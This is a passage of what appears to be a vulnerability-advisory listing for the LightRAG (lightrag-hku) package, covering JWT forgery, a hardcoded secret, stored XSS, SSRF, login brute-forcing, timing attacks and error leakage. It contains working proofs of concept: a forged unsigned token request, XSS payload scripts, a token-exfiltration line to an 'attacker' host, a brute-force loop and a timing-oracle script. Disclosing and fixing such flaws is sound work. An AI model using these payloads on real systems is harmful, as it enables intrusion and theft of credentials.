          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 26, 2025

1.4.9rc3 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

